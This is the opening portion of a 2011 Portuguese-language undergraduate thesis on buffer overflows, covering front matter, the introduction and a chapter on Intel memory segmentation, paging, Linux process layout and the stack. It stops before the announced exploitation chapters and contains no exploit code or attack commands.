Você está na página 1de 84

HUDSON FLVIO VIEIRA MATEUS

BUFFER OVERFLOW: TEORIA E EXPLORAO

LAVRAS - MG 2011

HUDSON FLVIO VIEIRA MATEUS

BUFFER OVERFLOW: TEORIA E EXPLORAO

Monograa apresentada ao Colegiado do Curso de Cincia da Computao, para a obteno do ttulo de Bacharel em Cincia da Computao.

Orientador Dr. Joaquim Quinteiro Ucha

LAVRAS - MG 2011

Dedico este trabalho a Deus; sem Ele, nada do que tenho teria conseguido. Ele a minha razo de viver e a minha esperana.

AGRADECIMENTOS

A Deus, pela vida e pela oportunidade de estudar em uma universidade federal. Aos meus pais, Flvio e Zlia, que me incentivaram durante esta jornada, e ao meu irmo, tila, por compreender minha ausncia. Aos meus amigos de repblica, Victor, Renan e Vincius, grandes amigos que me acolheram em tempos difceis. Aos meus amigos, Ester e Sebastio, que foram verdadeiros pais adotivos. Ao David Cestavo, que foi um pai na f. Ao meu orientador, Joaquim, pelo auxlio e pela ateno concedidos, to importantes para a realizao deste trabalho.

RESUMO

Este trabalho um estudo sobre buffer overow, no qual so apresentadas as arquiteturas de software e de hardware que permeiam o problema. fornecida uma explicao sobre as arquiteturas de processadores Intel 64 e IA-32, bem como o sistema operacional Linux. Estes ambientes foram utilizados para o desenvolvimento e explorao do tema. O problema detalhado e alguns estudos de casos so mostrados, exemplicando sua explorao. Basicamente consiste no transbordamento durante a escrita em regies de memria ou arrays. H o interesse em mostrar o quanto o descaso para com a segurana computacional durante o desenvolvimento de software pode ser perigoso para um ambiente computacional. Comenta-se sobre algumas ferramentas existentes para a preveno do buffer overow, que podem ser usadas no sistema operacional Linux. As ferramentas so aplicadas em contextos diferentes e possuem um certo nvel de segurana; as ferramentas abrangidas so: Libsafe, StackGuard, StackShield, ProPolice e PaX. O grande problema do buffer overow, de um modo geral, so enganos cometidos durante a fase de desenvolvimento. Nos experimentos, foi possvel invadir um sistema atravs de ataques em arquiteturas 32 bits atravs dos seguintes modos de sobrescrita: endereo de retorno e endereo base do frame da funo que faz a chamada, e ponteiro de funo. J em arquiteturas 64 bits, no foi possvel explorar a falha. Palavras-chave: Buffer Overow; Sistemas Operacionais; Arquitetura de Computadores; Segurana; Programao.

ABSTRACT

This work is a study about buffer overow, presenting the architectures of the software and hardware involved. It explains the architectures of the Intel 64 and IA-32 processors, as well as the Linux operating system. These environments were used for the development and exploration of buffer overow. The problem is detailed and some studies cases shown, exemplifying your exploitation. Basically, buffer overow occurs during writing in memory regions or arrays. There is interest in show how negligence with computing security during software development can be dangerous for computing environments. The study comments about some of the existing tools to prevent buffer overow on the Linux operating system. These tools are applied to different contexts and have some level of security; the tools examined are: Libsafe, StackGuard, StackShield, ProPolice and PaX. The larger problem of buffer overow is mistakes made during development phase. In experiments, it was possible to invade a 32 bits system through attacks in the following overwriting modes: return address and base pointer frame of calling function, and function pointer. On the other hand, it was not possible to exploit the fault in a 64 bits system. Keywords: Buffer Overow; Operating Systems; Computer Architecture; Security; Programming.

LISTA DE FIGURAS Figura 1 Figura 2 Figura 3 Figura 4 Figura 5 Figura 6 Figura 7 Figura 8 Figura 9 Diviso de tipos baseada em mltiplos Fonte: (INTEL CORPORATION, 2010a) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Exemplo de representao little endian Fonte: (INTEL CORPORATION, 2010a) adaptado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Segmentao e Paginao Fonte: (INTEL CORPORATION, 2010d). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Organizao de um processo na memria . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 Denio de segmentos de um processo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 Chamada de funo Fonte: (INTEL CORPORATION, 2010a). . . 29 Programa que realiza a soma de dois inteiros . . . . . . . . . . . . . . . . . . . . . . . 30 Cdigo Assembly para o programa que soma dois inteiros . . . . . . . . . 30 Exemplo de programa vulnervel a buffer overow . . . . . . . . . . . . . . . . . 33

Figura 10 Execuo do programa vulnervel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 Figura 11 Programa vulnervel desmontado. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 Figura 12 Congurao da pilha durante chamada funo readline() . . . . 35 Figura 13 Exemplo de programa com ponteiro de funo suscetvel a sobrescrita. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 Figura 14 Programa vulnervel no ponteiro de funo desmontado . . . . . . . . . . . 37 Figura 15 Exemplo de programa vulnervel a heap overow . . . . . . . . . . . . . . . . . . 39 Figura 16 Regio da pilha monitorada pela Libsafe Fonte: (BARATLOO; TSAI; SINGH, 1999) adaptado . . . . . . . . . . . . . . . . . . . . . 42 Figura 17 Layout de canrio Fonte: (WAGLE; COWAN, 2003) . . . . . . . . . . . . . 45 Figura 18 Exemplo de programa usando chamada de sistema write() . . . . . . . 55 Figura 19 Exemplo de programa usando chamada de sistema write() com Assembly inline . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56

Figura 20 Exemplo de shellcode em Assembly inline . . . . . . . . . . . . . . . . . . . . . . . . . . 57 Figura 21 Programa vulnervel (endereo de retorno) . . . . . . . . . . . . . . . . . . . . . . . . . 58 Figura 22 Execuo do programa vulnervel (endereo de retorno) . . . . . . . . . . . 58 Figura 23 Desmontagem da funo copy() no programa vulnervel (endereo de retorno) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 Figura 24 Congurao da pilha aps a chamada funo copy() . . . . . . . . . . . 59 Figura 25 Congurao da pilha aps o preenchimento do buffer . . . . . . . . . . . . . 59 Figura 26 Ataque do programa vulnervel (endereo de retorno). . . . . . . . . . . . . . 60 Figura 27 Programa vulnervel (endereo base do frame) . . . . . . . . . . . . . . . . . . . . . 61 Figura 28 Congurao da pilha aps o preenchimento do buffer . . . . . . . . . . . . . 61 Figura 29 Desmontagem da funo copy() do programa vulnervel (endereo base do frame) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 Figura 30 Congurao da pilha aps a chamada funo copy() . . . . . . . . . . . 64 Figura 31 Programa vulnervel (ponteiro de funo). . . . . . . . . . . . . . . . . . . . . . . . . . . 64 Figura 32 Desmontagem da funo copy() do programa vulnervel (ponteiro de funo) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 Figura 33 Programa vulnervel (64 bits). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67 Figura 34 Pedaos de cdigo emprestados da libc. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68

LISTA DE TABELAS

Tabela 1 Tabela 2 Tabela 3

Tamanho dos tipos de dados manuseados pelos processadores Intel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Flags de regies de memria do Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 Funes suportadas pela Libsafe. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

SUMRIO

1 1.1 1.2 1.3 2 2.1 2.2 2.3 2.4 2.5 2.6 3 3.1 3.2 3.3 4 4.1 4.2 4.3 4.4 4.4.1

INTRODUO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Objetivos e Metodologia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 Motivaes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Organizao da monograa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 MODELOS DE MEMRIA E ORGANIZAO DE PROCESSOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Introduo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Organizao da memria . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 Endereos lgico, linear e fsico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Segmentao, paginao e mecanismos de proteo . . . . . . . . . . . . . . 20 Organizao de processo na memria . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 Chamadas de funes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 O PROBLEMA DO BUFFER OVERFLOW . . . . . . . . . . . . . . . . . . . . . . . 31 Introduo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 Buffer overow baseado em pilha e em heap . . . . . . . . . . . . . . . . . . . . . . . 32 Trabalhos relacionados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 FERRAMENTAS PREVENTIVAS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 Introduo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 Libsafe. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 StackShield, StackGuard e ProPolice (Stack Smashing Protection) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 grsecurity PaX. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 NOEXEC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48

4.4.2 4.4.3 4.5 4.6 5 5.1 5.2 5.3 5.4 5.5 5.6 5.7 6

PAGEEXEC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 Address Space Layout Randomization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 PaX como um todo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 Mtodos de proteo no kernel 2.6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 MTODOS DE EXPLORAO DE BUFFER OVERFLOW . . . 51 Introduo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 Material e mtodos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 Chamadas de sistema em baixo nvel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 Explorao pelo endereo de retorno . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 Explorao pelo endereo base do frame . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 Explorao pelo ponteiro de funo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 Kernel 2.6 e arquitetura 64 bits: a caixa-forte. . . . . . . . . . . . . . . . . . . . . . 65 CONCLUSO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 REFERNCIAS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 APNDICE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77

12

INTRODUO
A informtica, assim como outras reas de conhecimento, tem crescido em

larga escala nos ltimos anos. Com o avano da tecnologia computacional e a popularizao da Internet, as empresas preocupam-se cada vez mais com a implantao de servios computarizados (CESAR, 2004). Tais servios requerem a construo de software de computadores para atender a demanda do mercado s mais diversas reas, a m de automatizar tarefas. Assim, possvel acessar contas bancrias sem sair de casa, controlar nanas de forma mais organizada e rpida e, at mesmo, proporcionar momentos de entretenimento, tudo atravs do uso da informtica. Entretanto, em muitos casos, os desenvolvedores de software no se preocupam com aspectos de segurana dos aplicativos (UCHA, 2009). Nesses casos, o prejuzo iminente com a investida de especialistas de tecnologia malintencionados. Muitos problemas podem ser evitados por polticas adotadas pelos prprios usurios; outros, no entanto, dependem da forma como o sistema (ou o software) foi projetado e construdo. De qualquer forma, necessrio conhecimento sobre a tecnologia para uso adequado: no primeiro caso, necessrio conhecer o sistema para a prpria proteo contra, no mnimo, os tipos de ameaas mais comuns; no segundo caso, o conhecimento tecnolgico faz-se preciso para a construo correta e eciente de sistemas computacionais.

13 O fato que erros aparentemente simples cometidos por desenvolvedores podem resultar em severas consequncias. Um exemplo disso o buffer overow. Basicamente, um tipo de erro associado escrita em regies de memria sem a devida precauo de se vericar seus limites. Contudo, existe uma srie de fatores, tanto da arquitetura de hardware, quanto da arquitetura de software, que propiciam a ocorrncia desse tipo de problema. Essa vulnerabilidade o objeto de estudo deste trabalho.

1.1

Objetivos e Metodologia
O principal objetivo deste trabalho apresentar um estudo sobre o buffer over-

ow. Foi realizada uma pesquisa sobre os assuntos relacionados ao tema proposto, a m de mostrar como um sistema computacional permite a ocorrncia do mesmo. Para tanto, foram consultados vrios tipos de fontes de pesquisa, como artigos, relatrios tcnicos, manuais de processadores, livros sobre sistemas operacionais e anlise da documentao de ferramentas preventivas. Aborda-se, tambm, conceitos fundamentais e tecnolgicos sobre sistemas operacionais e arquitetura de computadores que envolvem o erro. Foram feitos alguns estudos de casos para melhor entendimento do problema, reproduzidos em laboratrio. Com isso, possvel analisar todo o contexto de ocorrncia do erro e entender sua natureza com uma ampla viso. Algumas ferramentas preventivas existentes so apresentadas tambm.

14

1.2

Motivaes
Para o desenvolvimento deste trabalho, considera-se o sistema operacional

Linux e as arquiteturas de processadores Intel 64 e IA-32. Os motivos da escolha daquele sistema operacional e destas arquiteturas de processadores so: (1) a popularidade que ambos apresentam; (2) a relativa facilidade na obteno de suporte; (3) o fato de o Linux ser um sistema operacional de cdigo aberto facilita a obteno do kernel sem quaisquer custos adicionais; (4) as ferramentas a serem abordadas foram construdas para o sistema operacional Linux; e (5) h muitos tipos de processadores, impossibilitando o estudo de todas as arquiteturas, embora o sistema operacional permita a portabilidade do sistema de gerenciamento de memria, abstraindo-o em estruturas de dados que so suportadas pelos diversos tipos de processadores.

1.3

Organizao da monograa
Esta monograa tenta separar os conceitos primordiais da arquitetura de com-

putadores e de sistemas operacionais, os quais so necessrios para o entendimento do problema, embora estes conceitos estejam bastante interligados. O Captulo 2 apresenta os mecanismos de gerncia de memria existentes: a segmentao, comumente suportada pelos processadores Intel, e a paginao, amplamente suportada em vrias plataformas e, portanto, utilizada pelos mais diversos sistemas operacionais. Esse captulo mostra tambm como um processo em Linux organizado na memria, enfatizando suas estruturas de dados e como ocorrem as chamadas de funes.

15 No Captulo 3, so descritos o problema, baseado na pilha e no heap, e as abordagens de ataques na pilha com sobrescrita do endereo de retorno, de ponteiros de funes e de ponteiros de frame armazenados na pilha. Nesse captulo tambm so apresentados alguns trabalhos relacionados existentes. A seguir, o Captulo 4 aborda as principais ferramentas e metodologias preventivas contra buffer overow que podem ser aplicadas ao sistema operacional Linux. Expe-se o princpio bsico de atuao dessas ferramentas. H um captulo especial para mostrar a explorao da vulnerabilidade, que o Captulo 5. Nesse captulo, o shellcode e o exploit cdigos necessrios para a explorao so includos, e explicado como eles so utilizados para atingir tal objetivo, atravs de exemplos. Por m, comenta-se os resultados gerais do trabalho no Captulo 6.

MODELOS DE MEMRIA E ORGANIZAO DE PROCESSOS

2.1

Introduo
A memria principal de um computador pode ser endereada e dividida de

vrias maneiras. nela que so armazenados os programas em execuo, chamados processos, bem como os dados manipulados pelos processos. Entretanto, como a memria pode ser muito extensa e pode haver vrios processos em e-

16 xecuo simultaneamente, extremamente importante que o sistema operacional organize a memria de forma eciente e segura, a m de evitar que erros ocorram. Neste captulo, so apresentados apenas os principais conceitos de modularizao da memria, visto que: (1) alguns mecanismos de endereamento e/ou diviso de memria so mantidos apenas para compatibilidade com modelos de processadores legados, sendo pouco utilizados atualmente; e (2) h inmeras maneiras de se fazer tais divises, algumas das quais fogem ao escopo deste trabalho. Alm disso, a forma como um processo organizado na memria ser descrita.

2.2

Organizao da memria
A unidade bsica de memria o byte, composto por 8 bits. Cada byte na

memria rotulado por um identicador nico, que seu endereo (ou posio) na memria. Um computador com 4 GB de memria pode manter at 4294967296 bytes (ou posies de memria). A partir desse conceito, a memria pode ser referenciada em blocos de diferentes tamanhos. Na arquitetura Intel, os tipos de dados possuem nomes, de acordo com seus diferentes tamanhos1 , fornecidos pela Tabela 1 e a respectiva diviso em mltiplos de subtipos da Figura 1. H dois tipos de representao de dados na memria: little endian e big endian. A arquitetura Intel utiliza o mtodo little endian: o byte menos signicativo armazenado primeiro na memria (INTEL CORPORATION, 2010d). Isso sig1 Em outras arquiteturas de processadores, as denies dos tipos de dados podem ser diferentes (por exemplo, MIPS) (IDT, 2000).

17

Figura 1: Diviso de tipos baseada em mltiplos Fonte: (INTEL CORPORATION, 2010a) Tabela 1: Tamanho dos tipos de dados manuseados pelos processadores Intel
Tipo de dado word double word quad word double quad word (ou paragraph) Tamanho (em bytes) 2 4 8 16

nica que a escrita da word FE06h no endereo de memria ilustrativo Bh seria feita copiando-se o byte 06h para o endereo Bh e o byte FEh para o endereo Ch , conforme pode ser visto na Figura 2. No mtodo big endian, os dados so escritos na ordem inversa do byte mais signicativo ao menos signicativo , conforme explicado em IDT (2000).

18

Figura 2: Exemplo de representao little endian Fonte: (INTEL CORPORATION, 2010a) adaptado

2.3

Endereos lgico, linear e fsico


A literatura utiliza trs termos diferentes na nomenclatura de endereos: lgi-

co, virtual (ou linear) e fsico (INTEL CORPORATION, 2010d; INTEL CORPORATION, 2010a; SILBERSCHATZ; GALVIN; GAGNE, 2005). Quando a segmentao est habilitada, todo byte na memria acessado atravs de um endereo lgico. Todo endereo lgico , ento, traduzido em um endereo virtual. O endereo virtual, por sua vez, mapeado em um endereo fsico. O endereo lgico possui um selector e um offset (deslocamento), sendo da forma selector:offset. O selector um inteiro de 16 bits e offset um inteiro de 32 bits. O selector, de uma forma geral, responsvel por selecionar segmentos, que normalmente so ndices numa tabela de descritores de segmentos, tabela esta que pode ser global (Global Descriptor Table GDT) ou local a um processo (Local Descriptor Table LDT), e cuja entrada fornece o endereo base para o segmento, as permisses de acesso e o intervalo de memria daquele segmento (INTEL CORPORATION, 2010d). No modo IA-32e2 , o deslocamento e o endereo base do
2 Processadores Intel 64 possuem um modo de execuo chamado IA-32e (Intel Architecture 32 Enhanced) por suas especicaes. Esse modo ser utilizado como sinnimo para Intel 64. Na verdade, o nome IA-32e utilizado nos manuais dos processadores Intel um nome para um clone das extenses AMD64 (KARPOV, 2010).

19 segmento possuem 64 bits de comprimento (INTEL CORPORATION, 2010d). O deslocamento (offset) uma posio dentro do segmento selecionado. Um endereo virtual (ou linear) o endereo que mapeado para endereo fsico, atravs do mecanismo de paginao. Caso a segmentao esteja habilitada, formado adicionando-se o endereo base do segmento ao deslocamento do endereo lgico. De outra forma, o endereo virtual um endereo de programa que pode ser transformado em um endereo fsico (IDT, 2000). Em processadores Intel, um endereo linear possui at 32 bits de comprimento. No modo IA-32e, o espao de endereo linear est limitado a 48 bits (INTEL CORPORATION, 2010d). O endereo fsico o endereo de uma clula de memria em chips de memria acessvel a nvel de barramento (BOVET; CESATI, 2006). Obviamente, o endereo fsico depender da quantidade de memria instalada, mas possui uma capacidade mxima de comprimento, que dada pelo tamanho do endereamento fornecido pelo barramento. Na arquitetura IA-32, o espao de endereo fsico de 32 bits, ou seja, o intervalo de endereos acessveis por um barramento de 0 a FFFFFFFFH. De acordo com Intel Corporation (2010d), a partir do processador Pentium Pro R , a arquitetura IA-32 tambm suporta uma extenso do espao de endereo fsico atravs do recurso Page Size Extension (PSE) de 32 bits para 36 bits (64 GB). Na arquitetura Intel 64, o espao de endereo fsico de at 40 bits (1 TB) (INTEL CORPORATION, 2010a).

20

2.4

Segmentao, paginao e mecanismos de proteo


A segmentao um modelo de organizao da memria que adotado nos

processadores Intel. um mecanismo que divide a memria em segmentos de cdigo, dados e pilha, de forma que mltiplos programas possam executar sem que um interra na execuo do outro. H seis registradores disponveis, de 16 bits cada, para acesso rpido a segmentos mais utilizados pelo sistema operacional: CS, DS, SS, ES, FS, GS. O registrador CS (code-segment) registra o segmento de cdigo mais recentemente utilizado, ou seja, o segmento que contm instrues do processo a serem executadas pelo processador; o registrador DS (data-segment) registra o segmento de dados globais e estticos utilizados pelo programa; o registrador SS (stack-segment) registra o segmento que contm a pilha do processo onde so armazenados os contextos de funes (BOVET; CESATI, 2006). Os outros registradores de segmentos so registradores extras que podem ser utilizados para segmentos de dados arbitrrios, caso seja necessrio. O sistema operacional Linux utiliza apenas os trs primeiros segmentos e os outros trs so inicializados com uma cpia do registrador DS. Cada selector de segmento utiliza os 2 primeiros bits (0 e 1) de forma especial para vericar o nvel de privilgio do selector, que varia de 0 a 3, chamado RPL (Requested Privilege Level). O Linux utiliza apenas os nveis 0 (kernel) e 3 (user) (BOVET; CESATI, 2006). A entrada de um descritor de segmentos em uma GDT ou LDT contm esses mesmos bits, porm com o nome de DPL (Descriptor Privilege Level) (INTEL CORPORATION, 2010d). Isso muito til para criar um espao de endereos para o kernel separado do espao de endereos do usurio.

21 Alm disso, Intel Corporation (2010d) arma que um descritor de segmento possui um campo chamado Type, de 3 bits, que especicam as permisses de acesso a este segmento leitura, escrita ou execuo, dependendo da atribuio dos bits e do tipo de segmento. A paginao, por sua vez, um mecanismo que permite implementar um sistema de memria virtual, a qual utilizada de acordo com a demanda do sistema (demanda de pginas). Nela, os endereos virtuais so traduzidos em endereos fsicos. A paginao fornece suporte a um ambiente de memria virtual em que, muitas vezes, um largo espao de endereo virtual simulado com uma quantidade de memria fsica menor e com o auxlio de algum armazenamento em disco (INTEL CORPORATION, 2010d). Ao usar paginao, o sistema divide a memria principal em blocos de 4 KB de tamanho3 , chamado de pgina, se for um bloco de memria virtual, ou frame, em se tratando de um bloco de memria fsica (SILBERSCHATZ; GALVIN; GAGNE, 2005)4 . A segmentao, se presente, no interfere na paginao (INTEL CORPORATION, 2010d). Quando um processo tenta acessar um local de memria para leitura ou escrita, o sistema verica se a pgina solicitada est na memria principal. Se ela no estiver, o processo interrompido e uma exceo de pagefault lanada (INTEL CORPORATION, 2010d). Ento, o sistema tenta buscar a pgina no disco, em uma rea comumente conhecida como swap. Finalmente, se a
modos de paginao suportam pginas com 2 MB, 4 MB ou 1 GB de comprimento ou outro tamanho dependendo do suporte em hardware (INTEL CORPORATION, 2010d). Entretanto, o sistema operacional Linux comumente utiliza pginas de 4 KB de tamanho. 4 O Linux divide uma pgina em unidades menores e aloca estas unidades quando a quantidade de memria necessria signicativamente menor que uma pgina, a m de evitar o desperdcio de memria. Esse mecanismo de alocao conhecido como alocao slab (MAUERER, 2008).
3 Alguns

22 pgina no estiver na swap, um erro de acesso memria fornecido pelo sistema operacional (SILBERSCHATZ; GALVIN; GAGNE, 2005). Como pode ser observado na Figura 3, que mostra o suporte segmentao e paginao fornecido pela arquitetura Intel, a paginao divide um endereo linear em pedaos para realizar o mapeamento das pginas. Esses pedaos de endereos so entradas em tabelas e/ou diretrios de pginas, que auxiliam no mapeamento das pginas. A quantidade de nveis de diviso do endereo linear depende do modo de operao do sistema. Atualmente, o espao de endereamento virtual suportado no Linux, para processadores 64 bits, de 40 bits, dividido em 4 nveis, como pode ser visto em Documentation/x86/x86_64/mm.txt a partir do diretrio raiz do cdigo-fonte do Linux. J em processadores 32 bits, so 3 nveis. Silberschatz, Galvin e Gagne (2005) sugerem a diviso para diminuio do tamanho de uma tabela. Uma tabela de pginas com 220 entradas de 4 bytes cada, na paginao IA-32, ocuparia um espao de 4 MB, sendo muito extensa para armazenamento em memria; de modo semelhante, no modo IA-32e, a tabela possuiria um tamanho de 512 GB, uma vez que seriam 236 entradas de 8 bytes cada. O mecanismo de paginao tambm possui esquemas de defesa. Intel Corporation (2010d) arma que uma entrada de um diretrio de pginas ou de uma tabela de pginas, de acordo com os nveis de paginao existentes, possui uma ag de escrita/leitura (R/W), no bit 1, que no permite escrita na pgina caso seu valor seja 0 (apenas leitura). A entrada tambm possui um bit de usurio/kernel (U/S), no bit 2, o qual probe acessos a esta pgina no modo usurio (CPL Current Privilege Level no registrador CS atribudo em 3), caso seu valor seja 0. Exclusivamente na paginao IA-32e, o ltimo bit (63) indica se a pgina pode ser

23

Figura 3: Segmentao e Paginao Fonte: (INTEL CORPORATION, 2010d)

usada para a busca de instrues, ou seja, se a pgina executvel ou no (INTEL CORPORATION, 2010d). O Linux permite o uso deste recurso de hardware a partir da verso 2.6.11 do kernel (BOVET; CESATI, 2006). Bovet e Cesati (2006) alegam ainda que, no Linux, a memria dividida em regies, em que cada regio de memria consiste num conjunto de pginas. As regies de memria, semelhantemente s paginas de memria virtual, possuem ags que indicam o tipo de acesso a cada pgina daquela regio e o que elas con-

24 tm. A Tabela 2 mostra algumas dessas ags. As macros que denem essas ags podem ser encontradas em include/linux/mm.h.
Tabela 2: Flags de regies de memria do Linux
Flag VM_READ VM_WRITE VM_EXEC VM_MAYREAD VM_MAYWRITE VM_MAYEXEC Descrio Pginas podem ser lidas Pginas podem ser escritas Pginas podem ser executadas A ag VM_READ pode ser atribuda A ag VM_WRITE pode ser atribuda A ag VM_EXEC pode ser atribuda

2.5

Organizao de processo na memria


Embora no seja possvel desabilitar a segmentao nos processadores Intel

(INTEL CORPORATION, 2010d), o Linux minimiza bastante o uso de segmentao para aumentar a compatibilidade com outras arquiteturas de processadores, uma vez que a segmentao raramente usada em outros processadores alm dos processadores Intel. Conforme dito anteriormente, os principais segmentos utilizados por um processo Linux so o segmento de cdigo (CS), o segmento de dados (DS) e o segmento de pilha (SS). Um processo em Linux dividido em partes lgicas, chamadas segmentos. Esses segmentos so: text (cdigo), dados inicializados, heap e stack (pilha). A Figura 4 mostra a localizao de cada um desses segmentos de um processo na memria. Alguns autores, ainda, indicam um outro segmento, chamado bss, que comportaria os dados no-inicializados (ERICKSON, 2008). Entretanto, o cdigo listado na Figura 5 no dene tal estrutura.

25

Figura 4: Organizao de um processo na memria

Caso a segmentao esteja presente, os segmentos lgicos esto localizados em segmentos de memria especcos. O primeiro segmento, text, o segmento do processo onde esto os opcodes das instrues a serem executadas pelo processador. Essas instrues so armazenadas no segmento de cdigo da memria, referenciado pelo registrador CS. O segmento de dados inicializados, data, utilizado para armazenar dados inicializados, isto , variveis cujos valores foram fornecidos no arquivo executvel. O segmento data est localizado no segmento de dados da memria, apontado pelo registrador DS. Por m, o segmento de pilha armazena a pilha do processo no espao de usurio, a qual conter os frames das funes e atribuda ao segmento de pilha da memria, referenciado pelo registrador SS (BOVET; CESATI, 2006). O frame de pilha explicado na Seo 2.6. A Figura 5 mostra como uma regio de memria de um processo em Linux denida (presente em include/linux/mm_types.h). Essa estrutura u-

26 sada por cada processo, atravs da estrutura que dene um processo, chamada task_struct e denida em include/linux/sched.h, para mapear um endereo virtual para um endereo fsico do processo. As variveis start_xxx e end_xxx so, respectivamente, o incio e o m dos segmentos citados anteriormente (brk program break).
1 struct mm_struct { 2 ... 3 unsigned long start_code , end_code , start_data , end_data ; 4 unsigned long start_brk , brk , start_stack ; 5 ... 6 };

Figura 5: Denio de segmentos de um processo

O heap (ou program break) est localizado aps o segmento de dados do processo. Este segmento pode alterar seu tamanho durante a execuo do programa, atravs da chamada de sistema sbrk(), e utilizado em funes de alocao dinmica, como, por exemplo, a funo malloc() da biblioteca padro da linguagem C, para aumentar ou diminuir a memria de dados do programa. Com isso, um aumento da program break signicaria a alocao de memria ao processo, ao passo que uma diminuio desta rea signicaria a liberao de memria do processo. Segundo Mauerer (2008), no heap tambm so armazenadas variveis globais.

2.6

Chamadas de funes
Quando ocorre uma chamada de funo num processo, normalmente argu-

mentos (valores) so passados funo e o processo deve armazenar as infor-

27 maes da funo atual antes de transferir o uxo de execuo para a funo que est sendo chamada. Dessa forma, quando a funo que fez a chamada retornar, ser possvel restaurar o estado da antiga funo. A pilha utilizada para isso. Cada informao referente funo armazenada na pilha em um bloco de memria conhecido como frame (ou contexto) de uma funo (AHO et al., 2008). A pilha um array de locaes de memria contguas. Ela armazenada no segmento de pilha identicado pelo seletor do registrador SS. Elementos so colocados na pilha atravs da instruo push e so retirados dela atravs da instruo pop, ambas com um operando. H um registrador de topo de pilha, chamado SP5 que aponta para o elemento do topo da pilha. A instruo push decrementa a posio do registrador SP e armazena o dado do operando na nova posio. A instruo pop, por sua vez, retira o elemento da pilha para o operando e incrementa a posio da pilha. Como pode ser observado nessa descrio, a pilha cresce no sentido dos endereos mais baixos. No modo 32 bits, as instrues de empilhamento e desempilhamento adicionam deslocamentos de 16 bits ou 32 bits, dependendo do modo de execuo; no modo 64 bits, as mesmas instrues adicionam deslocamentos 64 bits na pilha (INTEL CORPORATION, 2010a). H tambm um outro registrador que aponta para a base do frame da funo, que o registrador BP. H divergncias de um compilador para outro quanto ordem de armazenamento das informaes na pilha. Alm disso, algumas otimizaes de compiladores geram cdigos em que os dados de uma funo so mantidos em registraverdade, os registradores de propsito geral em processadores 32 bits possuem um prexo E e tm 32 bits de comprimento, ao passo que os mesmos registradores 64 bits possuem um prexo R e apresentam 64 bits de comprimento. O modo 64 bits suporta o uso de suas partes 32 bits por compatibilidade 